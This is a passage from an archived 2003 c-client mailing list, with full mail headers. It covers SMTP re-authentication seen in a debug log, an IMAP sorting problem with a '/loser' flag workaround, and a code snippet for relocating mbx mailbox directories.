Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MDTSTk021238 for ; Wed, 22 Jan 2003 05:29:28 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MDTN1k028814 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 22 Jan 2003 05:29:24 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0MDSXDb083092; Wed, 22 Jan 2003 05:28:33 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MDOZCK030468 for ; Wed, 22 Jan 2003 05:24:36 -0800 Received: from ns.imn.nl (ns.imn.nl [212.206.253.42]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MDOWaZ014448 for ; Wed, 22 Jan 2003 05:24:33 -0800 Received: (from fwmaster@localhost) by ns.imn.nl (8.9.1a/8.6.12) id OAA10019 for ; Wed, 22 Jan 2003 14:24:29 +0100 (MET) Received: by ns.imn.nl via smap (V1.3) id sma009302; Wed, 22 Jan 03 14:22:34 +0100 Message-Id: <002301c2c219$6bcfb2e0$9701a8c0@imnla151> Date: Wed, 22 Jan 2003 14:23:07 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Eric Schreuder" To: "C-client mailing list" Subject: Why does c-client try to authenticate more than once? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Uwash-Spam: Gauge=XXII, Probability=22%, Report="PRIORITY_NO_NAME, SPAM_PHRASE_00_01, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY" X-Uwash-Spam: Gauge=XIII, Probability=13%, Report="SPAM_PHRASE_00_01, USER_AGENT_OE, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSMAIL_PRI, __HAS_OUTLOOK_IN_MAILER, __HAS_X_MAILER, __HAS_X_PRIORITY" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi list, I am trying to investigate how c-client interacts with OpenSSL. During this investigation, I noticed that as a result of an smtp_open() call, c-client authenticates successfully, and after that two times retries to authenticate. I studied the code of smtp.c::smtp_auth(), but I don't understand how the do-while is designed to work (end after successful authentication). Strange thing is that I don't see this re-authentication (against the same server) in my logs on Windows. Platform: SuSE Linux, c-client: imap2002b, compiled with "make lsu". Eric C-client debug output: Trying IP address [192.168.1.2] 220 bapi_linux.local ESMTP Sendmail 8.11.6/8.11.6/SuSE Linux 0.5; Wed, 22 Jan 2003 13:35:07 +0100 EHLO [192.168.1.70] 250-bapi_linux.local Hello laptop219.local [192.168.1.70], pleased to meet you 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-SIZE 250-DSN 250-ONEX 250-ETRN 250-XUSR 250-AUTH CRAM-MD5 LOGIN PLAIN 250-STARTTLS 250 HELP STARTTLS 220 2.0.0 Ready to start TLS EHLO [192.168.1.70] 250-bapi_linux.local Hello laptop219.local [192.168.1.70], pleased to meet you 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-SIZE 250-DSN 250-ONEX 250-ETRN 250-XUSR 250-AUTH CRAM-MD5 LOGIN PLAIN 250 HELP AUTH CRAM-MD5 334 PDI1MTkxMjA1NjguMzA1MTU4N0BiYXBpX2xpbnV4LmxvY2FsPg== YmFwaUBiYXBpX2xpbnV4IDk5YjRjYTNhYTliMmJjMWFiYmI1MzRiMGJmY2NlN2Y1 235 2.0.0 OK Authenticated AUTH CRAM-MD5 503 5.5.0 Already Authenticated AUTH PLAIN 503 5.5.0 Already Authenticated -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 22 08:41:06 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Jan 2003 08:41:06 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MGf5Tk026202 for ; Wed, 22 Jan 2003 08:41:05 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MGex1k001204 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 22 Jan 2003 08:41:00 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0MGdnll016764; Wed, 22 Jan 2003 08:39:49 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MGZPCK033628 for ; Wed, 22 Jan 2003 08:35:25 -0800 Received: from elvinet.enic.fr (elvinet.enic.fr [193.48.251.194]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MGZMAd014375 for ; Wed, 22 Jan 2003 08:35:22 -0800 Received: from webenic.enic.fr (unverified [193.48.251.59]) by elvinet.enic.fr (Rockliffe SMTPRA 4.5.4) with ESMTP id for ; Wed, 22 Jan 2003 17:38:17 +0100 Received: by webenic.enic.fr (Postfix, from userid 65534) id E78A31B5C8; Wed, 22 Jan 2003 17:38:10 +0100 (CET) Received: from 212.234.95.129 ( [212.234.95.129]) as user pladen@elvinet.enic.fr by karibou.enic.fr with HTTP; Wed, 22 Jan 2003 17:38:10 +0100 Message-Id: <1043253490.3e2ec8f2b8c4b@karibou.enic.fr> Date: Wed, 22 Jan 2003 17:38:10 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Pierre Laden To: c-client@u.washington.edu Subject: [c-client with php] imap sorting problem MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Originating-IP: 212.234.95.129 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=XIIII, Probability=14%, Report="SPAM_PHRASE_03_05, __EVITE_CTYPE" hi all hope u can help me i ve opened a bug on php bug site : http://bugs.php.net/bug.php?id=21271 we found that this does not imply php and is due only to c-client i ve got a problem with imap2002x c-client library this library is used by php to access an imap server when i use 2002x i m not able to sort messages i had to "downgrade" to imap2001 for it to work ! is it a known issue ? my imap server is a bit exotic : it's mailsite email server http://www.rockliffe.com/products/emailserver.asp all details on the php bug report thanks for your time Pedro -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 22 09:30:39 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Jan 2003 09:30:39 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MHUcTk028184 for ; Wed, 22 Jan 2003 09:30:38 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MHUa1k002865 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 22 Jan 2003 09:30:36 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0MHTi09027402; Wed, 22 Jan 2003 09:29:44 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MHQOCK046526 for ; Wed, 22 Jan 2003 09:26:24 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MHQMAe031021 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 22 Jan 2003 09:26:23 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MHQIpG003776; Wed, 22 Jan 2003 09:26:18 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MHQITZ008365 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Wed, 22 Jan 2003 09:26:18 -0800 Message-Id: Date: Wed, 22 Jan 2003 09:26:18 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Eric Schreuder Cc: C-client mailing list Subject: Re: Why does c-client try to authenticate more than once? In-Reply-To: <002301c2c219$6bcfb2e0$9701a8c0@imnla151> References: <002301c2c219$6bcfb2e0$9701a8c0@imnla151> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 22 Jan 2003, Eric Schreuder wrote: > I am trying to investigate how c-client interacts with OpenSSL. During this > investigation, I noticed that as a result of an smtp_open() call, c-client > authenticates successfully, and after that two times retries to > authenticate. This is not supposed to happen, and I have never seen this problem before. When you said it doesn't happen in Windows, do you mean to say that it doesn't happen with a c-client application built on Windows? Have you made any modifications to your copy of c-client? Did your copy of c-client come from a third-party which may have modified it? If the problem seems to be specific to UNIX c-client, does it happen on other UNIX systems? Can you isolate it to a particular system type, and or a particular compiler? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Jan 22 09:40:32 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Jan 2003 09:40:32 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MHeVTk028592 for ; Wed, 22 Jan 2003 09:40:31 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MHeReG015426 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 22 Jan 2003 09:40:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0MHdPjm032336; Wed, 22 Jan 2003 09:39:25 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MHaCCK026812 for ; Wed, 22 Jan 2003 09:36:12 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MHaA1W000859 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 22 Jan 2003 09:36:11 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MHa7hi025735; Wed, 22 Jan 2003 09:36:07 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MHa7up013038 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Wed, 22 Jan 2003 09:36:07 -0800 Message-Id: Date: Wed, 22 Jan 2003 09:36:07 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Pierre Laden Cc: c-client@u.washington.edu Subject: Re: [c-client with php] imap sorting problem In-Reply-To: <1043253490.3e2ec8f2b8c4b@karibou.enic.fr> References: <1043253490.3e2ec8f2b8c4b@karibou.enic.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 22 Jan 2003, Pierre Laden wrote: > hope u can help me > i ve opened a bug on php bug site : > http://bugs.php.net/bug.php?id=21271 > we found that this does not imply php and is due only to c-client I read this bug ID, and saw that it mentions the Courier server. The Courier server advertises server-based sorting, and consequently any bad sorting behavior would be due to the server. It has proven to be impossible to get the author of the Courier server to fix any bugs in it. Try adding the undocumented "/loser" flag to the mailbox name, e.g. {my.imap.server.com/loser}INBOX and see if sorting works better for you. Among other things, "/loser" tells c-client to disregard the IMAP server's claims to support sorting and threading, and instead c-client does sorting and threading locally. This should solve your problem, albeit at a performance cost. If "/loser" solves your problem, then this is yet another Courier problem. The best solution is to use a compliant IMAP server, such as UW or Cyrus, and not use Courier. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Jan 22 11:09:02 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Jan 2003 11:09:02 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MJ92Tk032220 for ; Wed, 22 Jan 2003 11:09:02 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MJ8xeG018687 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 22 Jan 2003 11:08:59 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0MJ86jm027968; Wed, 22 Jan 2003 11:08:06 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MJ5hCK041368 for ; Wed, 22 Jan 2003 11:05:43 -0800 Received: from mel-rto6.wanadoo.fr (smtp-out-6.wanadoo.fr [193.252.19.25]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MJ5f1V000605 for ; Wed, 22 Jan 2003 11:05:41 -0800 Received: from mel-rta7.wanadoo.fr (193.252.19.61) by mel-rto6.wanadoo.fr (6.7.015) id 3E0C343F0101D521 for c-client@u.washington.edu; Wed, 22 Jan 2003 20:05:40 +0100 Received: from elv.enic.fr (80.8.125.71) by mel-rta7.wanadoo.fr (6.7.015) id 3E26CE5400409F59 for c-client@u.washington.edu; Wed, 22 Jan 2003 20:05:40 +0100 Message-Id: <3E2EEC2D.9040408@elv.enic.fr> Date: Wed, 22 Jan 2003 20:08:29 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Pierre Laden To: c-client@u.washington.edu Subject: Re: [c-client with php] imap sorting problem In-Reply-To: References: <1043253490.3e2ec8f2b8c4b@karibou.enic.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: fr, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=III, Probability=3%, Report="IN_REP_TO, QUOTED_EMAIL_TEXT, RCVD_IN_MULTIHOP_DSBL, RCVD_IN_UNCONFIRMED_DSBL, REFERENCES, SPAM_PHRASE_03_05, X_ACCEPT_LANG, __EVITE_CTYPE" >>hope u can help me >>i ve opened a bug on php bug site : >>http://bugs.php.net/bug.php?id=21271 >>we found that this does not imply php and is due only to c-client > > > I read this bug ID, and saw that it mentions the Courier server. The > Courier server advertises server-based sorting, and consequently any bad > sorting behavior would be due to the server. thx for your so quick answer ! but this occurs with mailsite email server, not with Courier http://www.rockliffe.com/products/emailserver.asp it s a nt4 mail server, i m not admin on it but ithk it works well the difference between the working installation and the non-working one is just the version of imap c-client ! when i compile php with imap=imap2001 it works but with imap2002{a-b} it doesn't so i thought that there s a bug in imap2002* that didn t exists in 2001* am i misunderstanding ? thx for ur time Pedro From pinedev@shivax2.cac.washington.edu Wed Jan 22 12:50:02 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Jan 2003 12:50:02 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MKo2Tk004148 for ; Wed, 22 Jan 2003 12:50:02 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MKnseG022102 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 22 Jan 2003 12:49:55 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0MKn4jm032306; Wed, 22 Jan 2003 12:49:04 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MKl1CK046796 for ; Wed, 22 Jan 2003 12:47:01 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MKkxMx026331 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 22 Jan 2003 12:46:59 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MKktpG012493; Wed, 22 Jan 2003 12:46:55 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0MKktup022181 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Wed, 22 Jan 2003 12:46:55 -0800 Message-Id: Date: Wed, 22 Jan 2003 12:46:55 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Pierre Laden Cc: c-client@u.washington.edu Subject: Re: [c-client with php] imap sorting problem In-Reply-To: <3E2EEC2D.9040408@elv.enic.fr> References: <1043253490.3e2ec8f2b8c4b@karibou.enic.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 22 Jan 2003, Pierre Laden wrote: > thx for your so quick answer ! > but this occurs with mailsite email server, not with Courier > http://www.rockliffe.com/products/emailserver.asp The original problem was reported with Courier. As far as the Rockliffe server goes, I don't know anything about this server. Unless I am given access to a system running this server for testing, or at least a telemetry of the IMAP protocol transactions with the server, I can't say what is wrong. Although you should try the "/loser" flag, the fact that it works with imap-2001 and not more modern versions suggests that it may be a different problem. I suspect that the Rockliffe server does not offer server based sorting (so "/loser" would be ineffective), and the actual problem is in data access. Since imap-2002 is a more advanced package than imap-2001, it makes somewhat more complex demands on the server. A fully compliant server would have no problems with this, but it could be that the Rockliffe server may not fully support IMAP protocol. However, this is all just speculation until such time as I can either test with a Rockliffe server or seen a transcript of an IMAP session with the Rockliffe server that had the problem. It is conceivable that there is a problem with imap-2002 and Rockliffe is working fine. However, there are no known bugs in imap-2002 in this area that would account for the reported behavior. That's why I need either access or a session transcript. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Sun Jan 26 15:04:45 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 26 Jan 2003 15:04:45 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0QN4jTk006506 for ; Sun, 26 Jan 2003 15:04:45 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0QN4enO015085 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 26 Jan 2003 15:04:40 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0QN2WDb089950; Sun, 26 Jan 2003 15:02:32 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0QMsYCK032464 for ; Sun, 26 Jan 2003 14:54:34 -0800 Received: from sheridan.sibble.com (s64-180-126-175.bc.hsia.telus.net [64.180.126.175]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0QMsXHT021743 for ; Sun, 26 Jan 2003 14:54:33 -0800 Received: from garibaldi (garibaldi.sibble.com [192.168.73.21]) by sheridan.sibble.com (8.9.3/8.9.3) with ESMTP id PAA02926 for ; Sun, 26 Jan 2003 15:49:49 -0800 Message-Id: <200301262349.PAA02926@sheridan.sibble.com> Date: Sun, 26 Jan 2003 14:49:28 -0800 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: c-client@u.washington.edu Subject: changing location of mbx mailbox MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=XIIIIIII, Probability=17%, Report="MSG_ID_ADDED_BY_MTA_3, SIGNATURE_LONG_SPARSE, SPAM_PHRASE_00_01, __EVITE_CTYPE" Howdy folks, I am converting a Caldera Openlinux 2.3 System to mbx format from mbox format using the following info: http://linux-sxs.org/mbx.html Okay after working through most of the necessary modifications to use the above with the current version, I have one problem that I haven't been able to solve. On the server in question, I want to have the mbx folders stored in the /var/spool/mail directory just like the current mbox mail files. Ideally, I'd just like to run mbxcvt on the current mail spool files and have sendmail deliver it to the (new)current mailspool files using tmail. Having the mbx's in the home directories is not an option on this server due to the current backup strategy. Full system backups are done on tape daily while home dirs are all backed up to a single cd daily. How do I pull this off, I've browsed through some of the makefiles, and a fair bit of documentation, and am currently reading through the c-client list archives, however I haven't found quite what I need, can someone please point me in the right direction? -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Jan 26 15:33:01 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 26 Jan 2003 15:33:01 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0QNX0Tk007018 for ; Sun, 26 Jan 2003 15:33:00 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0QNWwWb023607 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 26 Jan 2003 15:32:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0QNUxjm028246; Sun, 26 Jan 2003 15:30:59 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0QNOfCK042980 for ; Sun, 26 Jan 2003 15:24:41 -0800 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0QNOcHT025519 for ; Sun, 26 Jan 2003 15:24:38 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id PAA12023; Sun, 26 Jan 2003 15:24:35 -0800 (PST) Message-Id: Date: Sun, 26 Jan 2003 15:10:45 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: help@pdscc.com Cc: c-client@u.washington.edu Subject: re: changing location of mbx mailbox In-Reply-To: <200301262349.PAA02926@sheridan.sibble.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 26 Jan 2003 14:49:28 -0800, Harondel J. Sibble wrote: > On the server in question, I want to have the mbx folders stored in the > /var/spool/mail directory just like the current mbox mail files. Although this is possible by means of modification to the source code, there are a number of non-obvious technical and administrative issues that you will have to address in doing it. I strongly recommend *against* putting mbx format files in /var/spool/mail, or for that matter any other directory which is not opened by the individual user. I don't quite understand why you don't want INBOX backed up along with home directories onto a single CD. Do you specifically want non-retention of email data over the long term? If so, a better alternative to /var/spool/mail is to have a separate series of "email" home directories, each owned by the individual users. In other works, if user jones has a UNIX home directory of /home/jones, he would also have a mail home directory of /mail/jones (so his INBOX would be /home/jones/INBOX). The modification to accomplish this is a very simple change to mymailboxdir() in env_unix.c. For example, one way to do it is: static char *mymailboxdir () { myusername (); /* get user name iff logged in */ if (!myMailboxDir && myUserName) { char tmp[MAILTMPLEN]; sprintf (tmp,"/mail/%s",myUserName); myMailboxDir = cpystr (tmp); } return myMailboxDir ? myMailboxdir : ""; } If you insist upon a shared directory like /var/spool/mail, the task is quite a bit more complex. From pinedev@shivax2.cac.washington.edu Sun Jan 26 16:11:05 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 26 Jan 2003 16:11:05 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0R0B5Tk007710 for ; Sun, 26 Jan 2003 16:11:05 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0R0B2Wb024358 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 26 Jan 2003 16:11:02 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0R09Jjm035612; Sun, 26 Jan 2003 16:09:19 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0R034CK030626 for ; Sun, 26 Jan 2003 16:03:05 -0800 Received: from sheridan.sibble.com (s64-180-126-175.bc.hsia.telus.net [64.180.126.175]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0R033Z7001463 for ; Sun, 26 Jan 2003 16:03:03 -0800 Received: from garibaldi (garibaldi.sibble.com [192.168.73.21]) by sheridan.sibble.com 